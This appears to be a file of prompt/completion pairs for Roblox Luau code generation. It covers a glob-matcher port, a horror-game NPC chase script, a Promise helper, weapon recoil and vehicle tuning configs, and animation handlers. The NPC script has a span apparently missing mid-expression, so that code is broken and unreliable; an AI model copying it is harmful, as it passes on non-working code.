returnState)\n\tend,\n})\n\nfunction picomatch_(\n\tglob: any,\n\toptions: Object?,\n\treturnState_: boolean?\n): typeof(setmetatable({ state = {} :: any }, {\n\t__call = function(_self: any, str: string, returnObject: boolean?): any\n\t\treturn nil :: any\n\tend,\n})) -- ROBLOX deviation END\n\tlocal returnState = returnState_ or false\n\n\tif Array.isArray(glob) then\n\t\tlocal fns = Array.map(glob, function(input)\n\t\t\treturn picomatch(input, options, returnState)\n\t\tend)\n\t\t-- ROBLOX deviation START: defining arrayMatcher as callable table\n\t\tlocal arrayMatcher_\n\t\tlocal arrayMatcher = setmetatable({}, {\n\t\t\t__call = function(_self: any, str: string)\n\t\t\t\treturn arrayMatcher_(str)\n\t\t\tend,\n\t\t})\n\n\t\tfunction arrayMatcher_(str: string) -- ROBLOX deviation: END\n\t\t\tfor _, isMatch in ipairs(fns) do\n\t\t\t\tlocal state = isMatch(str)\n\t\t\t\tif state then\n\t\t\t\t\treturn state\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn false\n\t\tend\n\t\treturn arrayMatcher\n\tend\n\n\tlocal isState = isObject(glob) and Boolean.toJSBoolean(glob.tokens) and Boolean.toJSBoolean(glob.input)\n\n\tif glob == \"\" or typeof(glob) ~= \"string\" and not isState then\n\t\terror(Error.new(\"TypeError: Expected pattern to be a non-empty string\"))\n\tend\n\n\tlocal opts = options or {} :: Object\n\tlocal posix = utils.isWindows(options)\n\t-- ROBLOX Luau FIXME: needs normalization to avoid Type 'RegExp' could not be converted into 'RegExp & {| state: any? |}'\n\tlocal regex: RegExp & { state: any? } = if isState\n\t\tthen picomatch.compileRe(glob, options) :: any\n\t\telse picomatch.makeRe(glob, options, false, true)\n\n\tlocal state = regex.state\n\tregex.state = nil\n\n\tlocal isIgnored: (str: string) -> boolean\n\tfunction isIgnored(_)\n\t\treturn false\n\tend\n\tif Boolean.toJSBoolean(opts.ignore) then\n\t\tlocal ignoreOpts = Object.assign(\n\t\t\t{},\n\t\t\toptions,\n\t\t\t{ ignore = Object.None, onMatch = Object.None, onResult = Object.None }\n\t\t)\n\t\t-- ROBLOX FIXME Luau: Callable table can't be assigned to a function\n\t\tisIgnored = picomatch(opts.ignore, ignoreOpts, returnState) :: any\n\tend\n\n\t-- ROBLOX deviation START: defining matcher as callable table\n\tlocal matcher_\n\tlocal matcher = setmetatable({}, {\n\t\t__call = function(_self: any, input: string, returnObject: boolean?)\n\t\t\treturn matcher_(input, returnObject)\n\t\tend,\n\t})\n\n\tfunction matcher_(input: string, returnObject_: boolean?) -- ROBLOX deviation END\n\t\tlocal returnObject = returnObject_ or false\n\n\t\tlocal ref = picomatch.test(input, regex, options, { glob = glob, posix = posix })\n\t\tlocal isMatch, match, output = ref.isMatch, ref.match, ref.output\n\t\tlocal result = {\n\t\t\tglob = glob,\n\t\t\tstate = state,\n\t\t\tregex = regex,\n\t\t\tposix = posix,\n\t\t\tinput = input,\n\t\t\toutput = output,\n\t\t\tmatch = match,\n\t\t\tisMatch = isMatch,\n\t\t}\n\n\t\tif typeof(opts.onResult) == \"function\" then\n\t\t\topts.onResult(result)\n\t\tend\n\n\t\tif isMatch == false then\n\t\t\tresult.isMatch = false\n\t\t\treturn if returnObject then result else false\n\t\tend\n\n\t\tif isIgnored(input) then\n\t\t\tif typeof(opts.onIgnore) == \"function\" then\n\t\t\t\topts.onIgnore(result)\n\t\t\tend\n\t\t\tresult.isMatch = false\n\t\t\treturn if returnObject then result else false\n\t\tend\n\n\t\tif typeof(opts.onMatch) == \"function\" then\n\t\t\topts.onMatch(result)\n\t\tend\n\t\treturn if returnObject then result else true\n\tend\n\n\tif Boolean.toJSBoolean(returnState) then\n\t\tmatcher.state = state\n\tend\n\treturn matcher\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nJeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);\nlocal OriginalC0=JeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"Torso\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"Torso\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.4);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.15);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==0.7 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.8;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=30;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nlocal NeckRotation=(JeffTheKiller:FindFirstChild(\"Torso\").Position.Y-MainTarget.Parent:FindFirstChild(\"Head\").Position.Y)/10;\nif NeckRotation>-1.5 and NeckRotation<1.5 then\nJeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0=OriginalC0*CFrame.fromEulerAnglesXYZ(NeckRotation,0,0);\nend;\nif NeckRotation<-1.5 then\nJeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0=CFrame.new(0,1,0,-1,0,0,0,-0.993636549,0.112633869,0,0.112633869,0.993636549);\nelseif NeckRotation>1.5 then\nJeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0=CFrame.new(0,1,0,-1,0,0,0,0.996671617,0.081521146,0,0.081521146,-0.996671617);\nend;\nelse\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nJeffTheKiller:FindFirstChild(\"Torso\"):FindFirstChild(\"Neck\").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=5500;\nJeffTheKillerHumanoid.JumpPower=30;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "-- Create debris for specified part (being destroyed)\t", "completion": "\nlocal function createDebris(targetPart)\n\tlocal pos = Vector3.new(0, 0, 0)\n\tlocal scale = 1\n\t\n\tif targetPart:IsA(\"Model\") then\n\t\tlocal plate = targetPart:FindFirstChild(\"Plate\", true)\n\t\tpos = plate.Position\n\t\tscale = plate.Size.X/8\n\telse\n\t\tpos = targetPart.Position\n\t\tscale = targetPart.Size.X/8\n\tend\t\n\t\n\tlocal debris = debrisParts[math.random(1, #debrisParts)]:Clone()\n\t--local pos2 = getPositionRelativetoBase(debris.PrimaryPart, pos)\n\tlocal pos2 = pos\n\tdebris:SetPrimaryPartCFrame(CFrame.new(pos2))\n\tscaleModel(debris, scale)\n\tdebris.Parent = mapManager.getMap()\n\t\n\ttargetPart:Destroy()\n\t\n\treturn debris.PrimaryPart\nend\n"} +{"prompt": "--[[\n\tChains a Promise from this one that is resolved if this Promise is\n\tresolved, and rejected if it is not resolved.\n]]", "completion": "\nfunction Promise.prototype:now(rejectionValue)\n\tlocal traceback = debug.traceback(nil, 2)\n\tif self:getStatus() == Promise.Status.Resolved then\n\t\treturn self:_andThen(traceback, function(...)\n\t\t\treturn ...\n\t\tend)\n\telse\n\t\treturn Promise.reject(rejectionValue == nil and Error.new({\n\t\t\tkind = Error.Kind.NotResolvedInTime,\n\t\t\terror = \"This Promise was not resolved in time for :now()\",\n\t\t\tcontext = \":now() was called at:\\n\\n\" .. traceback,\n\t\t}) or rejectionValue)\n\tend\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {20,25}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {10,15}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = 0.85\t\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = 3\n\t,VPunchBase = 24\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 9\t\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 1.5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.25\n\t,MinRecoilPower = 1\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = 1\n\t\n\t,MinSpread = 0\t\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 75\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\nlocal _WHEELTUNE = {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\t\n\t\t\tSS6 Presets\n\t[Eco]\t\t\n\t\tWearSpeed = 1,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Road]\t\t\n\t\tWearSpeed = 2,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Sport]\t\t\n\t\tWearSpeed = 3,\n\t\tTargetFriction = .79,\n\t\tMinFriction = .1,\t\t\t\t\t\t\t\t\t\t\t]]\n\n\tTireWearOn \t\t= true\t,\n\t\n\t--Friction and Wear\n\tFWearSpeed\t\t= 10\t,\n\tFTargetFriction\t= 52\t,\n\tFMinFriction \t= 26\t,\n\t\n\tRWearSpeed\t\t= 10\t,\n\tRTargetFriction\t= 52\t,\n\tRMinFriction\t= 26\t,\n\t\n\t--Tire Slip\n\tTCSOffRatio\t\t= 1\t\t,\n\tWheelLockRatio\t= 1/2\t,\t--SS6 Default = 1/4\n\tWheelspinRatio\t= 1/1.1\t,\t--SS6 Default = 1/1.2\n\t\n\t--Wheel Properties\n\tFFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyFrWeight\t= 10\t,\n\tRLgcyFrWeight\t= 10\t,\n\t\n\tFElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tRElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tFLgcyElasticity\t= 0\t\t,\n\tRLgcyElasticity\t= 0\t\t,\n\t\n\tFElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyElWeight\t= 10\t,\n\tRLgcyElWeight\t= 10\t,\n\t\n\t--Wear Regen\n\tRegenSpeed\t\t= 3.6\t\t--SS6 Default = 3.6\n}\n"} +{"prompt": "-- From TransparencyController", "completion": "\nfunction CameraUtils.Round(num, places)\n\tlocal decimalPivot = 10^places\n\treturn math.floor(num * decimalPivot + 0.5) / decimalPivot\nend\n\nfunction CameraUtils.IsFinite(val)\n\treturn val == val and val ~= math.huge and val ~= -math.huge\nend\n\nfunction CameraUtils.IsFiniteVector3(vec3)\n\treturn CameraUtils.IsFinite(vec3.X) and CameraUtils.IsFinite(vec3.Y) and CameraUtils.IsFinite(vec3.Z)\nend\n"} +{"prompt": "--// T key, Horn", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"t\" then \n\t\tscript.Parent.Parent.Horn.TextTransparency = 0\n\t\tveh.Lightbar.middle.Airhorn:Play()\n\t\tveh.Lightbar.middle.Wail.Volume = 0\n\t\tveh.Lightbar.middle.Yelp.Volume = 0\n\t\tveh.Lightbar.middle.Priority.Volume = 0\n\t\tscript.Parent.Parent.MBOV.Visible = true\n\t\tscript.Parent.Parent.MBOV.Text = \"Made by OfficerVargas\"\n\tend\nend)\n"} +{"prompt": "--Switch button type", "completion": "\nfunction SwitchButtonType(Type)\n\tif Type == \"Keyboard\" then\n\t\tButtonImage = ButtonGui.KeyboardImage\n\t\tButtonGui.KeyboardImage.Visible = true\n\t\tButtonGui.GamepadImage.Visible = false\n\t\tButtonGui.TouchImage.Visible = false\n\telseif Type == \"Gamepad\" then\n\t\tButtonImage = ButtonGui.GamepadImage\n\t\tButtonGui.GamepadImage.Visible = true\n\t\tButtonGui.KeyboardImage.Visible = false\n\t\tButtonGui.TouchImage.Visible = false\n\telseif Type == \"Touch\" then\n\t\tButtonImage = ButtonGui.TouchImage\n\t\tButtonGui.GamepadImage.Visible = false\n\t\tButtonGui.KeyboardImage.Visible = false\n\t\tButtonGui.TouchImage.Visible = true\n\tend\nend\n\t"} +{"prompt": "--[ LOCALS ]--", "completion": "\n\nlocal Char = script.Parent\nlocal AFKTag = script:FindFirstChild(\"AFKTag\")\n\nlocal AFKTagClone = AFKTag:Clone()\nAFKTagClone.Parent = Char:FindFirstChild(\"Head\")\nAFKTagClone.Adornee = Char:FindFirstChild(\"Head\")\n\n"} +{"prompt": "--[[\nCreates an \"Anchor\" part.\n--]]", "completion": "\nlocal function CreateAnchorPart(Size,CF,Parent)\n\tlocal AnchorPart = CreatePart(ANCHOR_PART_COLOR,Size,CF,Parent)\n\tAnchorPart.Anchored = true\n\t\n\treturn AnchorPart\nend\n"} +{"prompt": "--[[**\n\t\tcreates an intersection type\n\n\t\t@param ... The checks to intersect\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.intersection(...)\n\t\tlocal checks = { ... }\n\t\tassert(callbackArray(checks))\n\n\t\treturn function(value)\n\t\t\tfor _, check in ipairs(checks) do\n\t\t\t\tlocal success, errMsg = check(value)\n\t\t\t\tif not success then\n\t\t\t\t\treturn false, errMsg or \"\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\n"} +{"prompt": "--- Runs the command. Handles dispatching to the server if necessary.\n-- Command:Validate() must be called before this is called or it will throw.", "completion": "\nfunction Command:Run ()\n\tif self._Validated == nil then\n\t\terror(\"Must validate a command before running.\")\n\tend\n\n\tlocal beforeRunHook = self.Dispatcher:RunHooks(\"BeforeRun\", self)\n\tif beforeRunHook then\n\t\treturn beforeRunHook\n\tend\n\n\tif self.Object.Run then -- We can just Run it here on this machine\n\t\tself.Response = self.Object.Run(self, unpack(self:GatherArgumentValues()))\n\telseif IsServer then -- Uh oh, we're already on the server and there's no Run function.\n\t\twarn(self.Name, \"command has no implementation!\")\n\t\tself.Response = \"No implementation.\"\n\telse -- We're on the client, so we send this off to the server to let the server see what it can do with it.\n\t\tself.Response = self.Dispatcher:Send(self.RawText, self.Object.Data and self.Object.Data(self))\n\tend\n\n\tlocal afterRunHook = self.Dispatcher:RunHooks(\"AfterRun\", self)\n\tif afterRunHook then\n\t\treturn afterRunHook\n\telse\n\t\treturn self.Response\n\tend\nend\n"} +{"prompt": "-----------------------------------------------------------------------", "completion": "\ngame.Workspace.Gravity = 196.2\nscript.Parent.TextBox.Text = \"Enter Gravity\"\nscript.Parent.BackgroundColor3 = Color3.new(0.333, 0.333, 0.333)\nscript.Parent.LocalScript.Disabled = false"} +{"prompt": "--[[\n\tA special key for property tables, which adds user-specified tasks to be run\n\twhen the instance is destroyed.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\n\nlocal Cleanup = {}\nCleanup.type = \"SpecialKey\"\nCleanup.kind = \"Cleanup\"\nCleanup.stage = \"observer\"\n\nfunction Cleanup:apply(userTask: any, applyTo: Instance, cleanupTasks: {PubTypes.Task})\n\ttable.insert(cleanupTasks, userTask)\nend\n\nreturn Cleanup\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2)\n\tif type(p1) ~= \"table\" then\n\t\tp1 = { p1 };\n\tend;\n\tfor v1, v2 in ipairs(p1) do\n\t\tlocal v3 = {};\n\t\tfor v4, v5 in ipairs(v2.Size.Keypoints) do\n\t\t\ttable.insert(v3, NumberSequenceKeypoint.new(v5.Time, v5.Value * p2, v5.Envelope * p2));\n\t\tend;\n\t\tv2.Size = NumberSequence.new(v3);\n\t\tv2.Drag = v2.Drag * p2;\n\t\tv2.VelocityInheritance = v2.VelocityInheritance * p2;\n\t\tv2.Speed = NumberRange.new(v2.Speed.Min * p2, v2.Speed.Max * p2);\n\t\tv2.Acceleration = Vector3.new(v2.Acceleration.X * p2, v2.Acceleration.Y * p2, v2.Acceleration.Z * p2);\n\tend;\nend;\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tlocal scale = 15.0\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / scale)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 